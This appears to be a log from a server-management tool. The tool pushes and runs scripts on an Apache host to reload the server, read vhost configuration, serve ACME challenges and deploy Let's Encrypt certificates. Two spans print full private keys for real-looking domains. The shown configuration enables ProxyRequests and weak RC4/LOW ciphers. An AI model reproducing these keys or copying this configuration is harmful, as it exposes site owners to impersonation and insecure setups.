    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_net.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf= 1'
fi


2026-04-23 06:00:20: 

chmod 755 /tmp/pkp182341; /tmp/pkp182341; rm /tmp/pkp182341

2026-04-23 06:00:20: 




2026-04-23 06:00:20: 

PUT: /tmp/pkp229595

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-23 06:00:21: 

chmod 755 /tmp/pkp229595; /tmp/pkp229595; rm /tmp/pkp229595

2026-04-23 06:00:21: 


.


2026-04-23 06:00:21: Establishing a connection
2026-04-23 06:00:22: 

PUT: /tmp/pkp734288

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-23 06:00:23: 

chmod 755 /tmp/pkp734288; /tmp/pkp734288; rm /tmp/pkp734288

2026-04-23 06:00:23: 


[Thu Apr 23 06:00:23.896526 2026] [so:warn] [pid 1077240:tid 139825490495808] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
                 alias www.zoomchat.online
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
                 alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Thu Apr 23 06:00:23.896526 2026] [so:warn] [pid 1077240:tid 139825490495808] AH01574: module status_module is already loaded, skipping


2026-04-23 06:00:23: 

PUT: /tmp/pkp276974

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:00:24: 

chmod 755 /tmp/pkp276974; /tmp/pkp276974; rm /tmp/pkp276974

2026-04-23 06:00:24: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf	2271

<VirtualHost *:80>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://zoomchat.online/$1 [R=302,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
    DocumentRoot	/var/www/zoomchat_www/public
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    ProxyRequests	On
    RewriteEngine	On
    <Location /ws/>
        ProxyPass	ws://localhost:9512/
        ProxyPassReverse	ws://localhost:9512/
    </Location>
    
    <Location /wsx/>
        ProxyPass	http://localhost:9512/
        ProxyPassReverse	http://localhost:9512/
    </Location>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    DirectoryIndex	index.html index.htm index.php
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-23 06:00:24: 

PUT: /tmp/pkp618647

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-23 06:00:25: 

chmod 755 /tmp/pkp618647; /tmp/pkp618647; rm /tmp/pkp618647

2026-04-23 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt	5336
6c:3c:28:ba:11:63:50:8a:a0:f8:80:42:d9:56:69:b9

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBSYUKGWoRem6NVC7glfkTj0VMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIzMDUwMTQyWhcNMjYwNzIyMDUwMTQxWjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDt
ZfMKVgAnPpmOJlHaYITqhR2mFY9QxlmjcsibsbdA+X1JSXEjHSG4Wa3YwilG3Aqw
HpEx4ee214d7bNBLHPoxjHQl2EtRvpiz7QfYxtt6ZrACTH80fKrNu4/ixVPasoUj
tnahaeHVXGi8z95pdYD1rU0CCzaSBSFCi2hLGeZtU9/wQSLx1qPMAyfHHAPCV0bi
z+0XAydK5/Z+DUcoV1nC/Z9xhwIgtSiO2MkQxWbHsOvkX61e6PCHnfgbP7hWB9pQ
9oZvP0bkNvYrB8iHJP9q31ck7IqCa3Tjii3G5cMyIQnBNohIP4/EMZye/r2FPX6i
MLpULWj0qMiXbZBUbt4TAgMBAAGjggIZMIICFTAOBgNVHQ8BAf8EBAMCBaAwEwYD
VR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUz5UoFk52
Vv+DUCT8C7UR0mX2w0owHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMw
MwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iu
b3JnLzAXBgNVHREEEDAOggx6b29tY2hhdC5uZXQwEwYDVR0gBAwwCjAIBgZngQwB
AgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMi5j
cmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdgDLOPcViXyEoURfW8Hd+8lu8ppZ
zUcKaQWFsMsUwxRY5wAAAZ247K/EAAAEAwBHMEUCIQDoTJes56tOAV9V9rgXlC7o
7E4QtR+IEostl/v002e4AgIgeT64h/i+FZew3jgfWYoJ5KE4O876YGOgmd6jEAtI
CgcAfQCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ247K/RAAgA
AAUAB/nubAQDAEYwRAIgQtzc/ETbyry4bPE6Drfvnjzw9vGlByne65RmyLHLDh8C
IAvW67K0/4qd4xF8vK0Kfi0lRIFCWDm+qahYfVhPOB9RMA0GCSqGSIb3DQEBCwUA
A4IBAQBwvID8lQ9ZtPBnfCB9pXRMrTYpJj4JMb6Vtmu9KVtlW0h73Tf5o8nhbtLh
YZPwn+IgS2M80GbkIsmsQkh7hq4TMxuBr+7mRZvTXJ1h7dX593RVDqmPzBt46VkX
V4BVtLEYZAE9C9cNeF/noiJk8RFjMBYkNnqQ1/XXIsZCW0olto8oVSdYm/AFbZpt
Cqg3SoIEWJQvOqIitUwRJyFYrwBNOjTyw83JsVirnO8Bbh+Fmc1LIXLQcYnJ3Fis
5MqESbqnjl+rwbD8LmnCq5pTG8B1HKji3iPUywDSI2vldkDBwkzl21GtnUgGPHDm
5aif5Rfo+ym3t+BL3jTDaRHs5uzB
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDtZfMKVgAnPpmO
JlHaYITqhR2mFY9QxlmjcsibsbdA+X1JSXEjHSG4Wa3YwilG3AqwHpEx4ee214d7
bNBLHPoxjHQl2EtRvpiz7QfYxtt6ZrACTH80fKrNu4/ixVPasoUjtnahaeHVXGi8
z95pdYD1rU0CCzaSBSFCi2hLGeZtU9/wQSLx1qPMAyfHHAPCV0biz+0XAydK5/Z+
DUcoV1nC/Z9xhwIgtSiO2MkQxWbHsOvkX61e6PCHnfgbP7hWB9pQ9oZvP0bkNvYr
B8iHJP9q31ck7IqCa3Tjii3G5cMyIQnBNohIP4/EMZye/r2FPX6iMLpULWj0qMiX
bZBUbt4TAgMBAAECggEAC6ZFFuzBdSuNPXyD58N0wk1l9xB3x+7z1yF61qkR5Q5Z
J4+DDcYQMYu1DD366I9DtwDI/zmmtUI+U8AzOHxjiqrpyDGlAI3p0GqBSBH6EzeW
y4YVd+3mM9JQbUBhrQm1ntsFV0Zq3p16RkmtEF/DxEqMzNzgAKpfx3Qv2f+bXyH2
Vu5VmgBBoKYV8BOcDw5xbNuY3wdN0mWwiQlb1KXgD9oS/Jgt0uriKqyibfwnmAEo
L4zH4ya1d/HfG7gHYhCnRQIwK5v5e6ujRy4xxcP2whWt/ZnS6ths0b2rc6xE0vy8
Ig8AufWeVQBbDdZV+/rWXP4Ib1bVl9fFkUGxFOe5AQKBgQD9hRORTTt44GZOZidJ
0Ig3IujmIq9inugsV/Rh3xe82FaXODBJx9KMZPilAoVTnpyh8Ok3IWgxWv9zPKtA
Ouv4lnFzcpAJSLvxz6WK67EVWbT4LIYAd8B/V9gP3R0834m1O9r5ZZaiWZKlxa4G
8kYJ0XOKKYnt+D7FEBPJWYT4WwKBgQDvuH9bfKhAgAN9L8xHGwCx3/rzAQyyEZw2
gkjn/ffqJvrdqc2ct7bm3Y2V1lK8OPCcrkqQ/e7d2T+1dZLy2D2G2ZuWWLFh7yHy
TUGv6zwmuEt6uqTn6zKgrT+2pGSBSY02DL/0EAFr7y7hV0tQf8v3YE85Somderaj
SaN2N1jeqQKBgAkw8eyqqCVRvWPKQFJkxQt6sIbnawRgTnqNFccWl325OipxVw7V
t8RvRLR2yu6lKXiVi178TxK7AdfjszG48SUqDyLoXGB5ypaRuKa4tMrZXb5BnvoV
XV1AigzJL24tjIiNivrPvA5WwQJRkGWgEvn4JgA0UVPXVC9AzfbW0ANRAoGBAJr3
S+1acnHvz1GYGphEzngucM2yegCK/c8G/hZqyV8m/7lX0cFjyesIgkTAng9rR7Ah
w7ZjUY08qcCmVu6B95Q7DCdvAoxqyCkY5EPS77mgHbsi+QOrubjBBpUNRKOHZq/w
Ig6mYiTiJA4sHlXVp4ctTUmd88RH1dVM/0ymjt6xAoGAE30evqe/Di4KMJX27gEp
8lC9VRy4NaQWIknRcT58QHhEomCbtizITh0gOT4D/oTbmGA60PFZ1cXUQUG9Ol3A
Q0IA40VyvInEKQ5JPch7a7+x+vMX9ss+1AqOGsG8Cu1eNSGa9ex5YpFYgx1IxYyA
Mm5ci0cjyePHy3LTHI6gL6o=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-23 06:00:25: Establishing a connection
2026-04-23 06:00:25: Establishing a connection
2026-04-23 06:00:26: 

PUT: /tmp/pkp320313

#!/bin/bash
if [ -d "/var/www/bible-basics_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-04-23 06:00:26: 

chmod 755 /tmp/pkp320313; /tmp/pkp320313; rm /tmp/pkp320313

2026-04-23 06:00:26: 


1


2026-04-23 06:00:27: Establishing a connection
2026-04-23 06:00:27: 

PUT: /tmp/pkp537784

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
cat > cfWOTk_wI-IazODCsBPzRUgM3YxvILW22aW9SS9z8QU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
cfWOTk_wI-IazODCsBPzRUgM3YxvILW22aW9SS9z8QU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 cfWOTk_wI-IazODCsBPzRUgM3YxvILW22aW9SS9z8QU
cat > 6HF41-sySDIakw8UoERZ5-ppyPb50LohiwJvyWhGLtI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
6HF41-sySDIakw8UoERZ5-ppyPb50LohiwJvyWhGLtI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 6HF41-sySDIakw8UoERZ5-ppyPb50LohiwJvyWhGLtI


2026-04-23 06:00:27: 

chmod 755 /tmp/pkp537784; /tmp/pkp537784; rm /tmp/pkp537784

2026-04-23 06:00:27: 




2026-04-23 06:00:39: Establishing a connection
2026-04-23 06:00:39: 

PUT: /tmp/pkp469679

#!/bin/bash
mkdir -p "/var/www/bible-basics_www/.well-known/acme-challenge/"
cd "/var/www/bible-basics_www/.well-known/acme-challenge/"
rm cfWOTk_wI-IazODCsBPzRUgM3YxvILW22aW9SS9z8QU
rm 6HF41-sySDIakw8UoERZ5-ppyPb50LohiwJvyWhGLtI


2026-04-23 06:00:39: 

chmod 755 /tmp/pkp469679; /tmp/pkp469679; rm /tmp/pkp469679

2026-04-23 06:00:39: 




2026-04-23 06:00:39: Establishing a connection
2026-04-23 06:00:40: 

PUT: /tmp/pkp498421

#!/bin/bash
temp_file=$(mktemp)
TARGET=f032ab15fc1dc16ec38ee94209bcf74e.crt

cat > $temp_file <<'endmsg'
53:da:1e:7a:5d:b0:9d:09:64:25:83:c1:8b:cc:a1:ea

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBZU/7+p/2eDNcyefAdWqatjrMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDIzMDUwMjA3WhcNMjYwNzIyMDUwMjA2WjAcMRowGAYDVQQD
ExFiaWJsZS1iYXNpY3MuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKQn4WggkTNZAMqybwTOYqUc9dLnsfk0zuimP5Bi5MAOFiXMwm1bNfu0KQmS
fD8i5nJmM9Gvv/nF5WmvfHtNLMYuLYDgTnEwXMtSmLcrFS3NCCowv7Eswvjm0c/5
ScBHHvkXWgFclZcOrHfshlpUh09Ov3IiclXMU2o6HklxhkGU6oiuebcO42XRaD/o
yZvF7BYJLvvQ4D1R17wfoBSEqQI73vEwJPsGLxsy5mqDIWKLGlSoUvLyf/XgS92v
NNu+YAZCPP+yihZBa4P8lvh6YQ9ZMMVRl+6YRjw6Q4entTl3LR7lZjnSv6nV2or1
ntushmEjbtfI+q/KIlei9Ey22LMCAwEAAaOCAjcwggIzMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRY
nLJcZEzktARNZRSp1YfezxybRzAfBgNVHSMEGDAWgBQAtSnyLY5vMeibTK14Pvrc
6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTIuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWJpYmxlLWJhc2ljcy5pbmZvghV3d3cuYmli
bGUtYmFzaWNzLmluZm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAk
oCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMDguY3JsMIIBDAYKKwYBBAHW
eQIEAgSB/QSB+gD4AHYAyKPEf8ezrbk1awE/anoSbeM6TkOlxkb5l605dZkdz5oA
AAGduO0QjwAABAMARzBFAiEA4/aHb7b49XNYH+rxk/5bMF/ITIDLNXUcbIGq2fAU
bpkCIA+hZIv1sHEFf/CCDTHk2bSDDotqQS2XfL6rO/ftNzu9AH4AJuNkblhpISO8
ND9HJDWbN5LNJFqI2BXTkzP9mRirRyMAAAGduO0QiAAIAAAFAAmJ/fEEAwBHMEUC
IEmDPmL1/SihMlBk/mE99jSdk1sfyUrRmKdbF4WO8SjwAiEAyA7lJS2v9N3CnHjJ
3hIaQBWPyslD/dcM0piF2ga1lckwDQYJKoZIhvcNAQELBQADggEBAJr0FTujxko2
UMS4EaetY8imxQ+6pCvJIy6NwyD419eklaVc4jfEgsUiF56+Cu1VPmfpSma//IzU
/owsF5cOTukwHaeqo+hwmeG+HH4KlsztzT50ac8+p3iEFkkICp20+A7NuJQPvYFn
cNe9/CrYwktZX45EEArRFzWqHPIPVLZmxQLXv+Hd8r6Tz83Zi+Ukq4VKqQtg7+YI
DUiXf1dteNH9QNABcjFNu5vVv5oGaJFymyTqrv5jUameWoBvAf9ZTD4IfXWrXK+7
qvTPrlGGaUvpInGlo6NYG/VEgApqgeYbkSFGEVnoVIIJL6U0b6MzY1dONcUCL5/f
LRbhjGsouoo=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkJ+FoIJEzWQDK
sm8EzmKlHPXS57H5NM7opj+QYuTADhYlzMJtWzX7tCkJknw/IuZyZjPRr7/5xeVp
r3x7TSzGLi2A4E5xMFzLUpi3KxUtzQgqML+xLML45tHP+UnARx75F1oBXJWXDqx3
7IZaVIdPTr9yInJVzFNqOh5JcYZBlOqIrnm3DuNl0Wg/6MmbxewWCS770OA9Ude8
H6AUhKkCO97xMCT7Bi8bMuZqgyFiixpUqFLy8n/14EvdrzTbvmAGQjz/sooWQWuD
/Jb4emEPWTDFUZfumEY8OkOHp7U5dy0e5WY50r+p1dqK9Z7brIZhI27XyPqvyiJX
ovRMttizAgMBAAECggEAOJAdVTnTjnPel/l/05Ih327pLXD0nEAcA4I1aNUKqTqx
WvkBDZleMorTkR7OfRrTeRvKQzhh1/jeodn79KiVAvyqZTvlC490igK96G+J7qw1
YgRGKRCZZhZyuUzWotBe1cm8E7gJO3Gs7+2qJbn2ndculG9WIkYzf+jiwr/BWRsf
SR0mZP0F/kB5LbryzcEZB0d35sBcBFJ0GV/M5TMW7m0P9NMZhVlL8+fCXUUEYRff
YHF0gVkGZvUn4VzhBJWpWGctvPuZ/lGfa3zOhG5EBB082/tVE3T2mtjUVKXActoG
z+uHdkWDG8zxxlTjq6lSA8hcOoaQryHNmSuwQkEQAQKBgQDcVo8wgYE65r/L8SRN
0xvK4aikO9iWqQPfQ7MHe7xF2rQ1SqhBRIyW2AU3n+XjATWxcEZYwQ3YLPFZUEnA
uz5BSFwDGNVtcCxLmKY+NMwrhAIXO3x59CNv/tJBiK4iwEzpPTSBepCxJU1AiM/M
929kOHVS7h2BVSu4Hkvni6SUswKBgQC+uXmB0mlHmboTrab64VtDr5N/UfsFqoqX
3O82NSh5RBkPUTNcZUvwfeeTNaMwHiDTbbnS+/t3mumQgjuMu7Bebec+rxiGzeaI
568zrhwTvBKjoBhaXr0BDGqf354HdXD8Xy6H/pKNeKE032fAswEwnJo/VyvKAUgu
eEP3Ny6sAQKBgDBYndqaz+xIrVTmeHzLEZIWqZY/u2pzc3INvL6rm8gIEPqQgxKv
I9oFVD+8SgjhPxLL++OFmLASTHK4dzZe324bnnTfghUdQ9rih7emhhYWRQ8r8kgg
FZaBZ0kR4IOnhji3QUoXxp/X+3dpjY7/y+VFrhigPsEeGxWvMCCCN36ZAoGAX9XN
A3naIvtQ8ABrDldcx5ca83gbPY6jU4nVvZRagQzB1tuDhmL0FKT/Tw49sLkC35qc
LDMn+cKiqFV4XNAW4GwzLWFIXrxpodNhSwOq4hO3/fY9JnPCXxuBHFJ+Ettlabre
I8G8nE/IGUxE0yRfbbDTJQ7FVxzry0XtSPS2hAECgYEAzlR/bu5tj8iV4lXgbkBx
5qjq2Km8TS+7ROHkW847BPcZkkLmI2U8OZWrHmF04o5uN6OVrfWlQvdjjrsVxFCv
drYGolHN2D9FcMCE6xfW2Q8Ux9gZrlTkU37xO5eGxO4Y8xOaKmUviftlXIpWRspC
D3SJ+5GgsSyvurgFP9dcmT4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
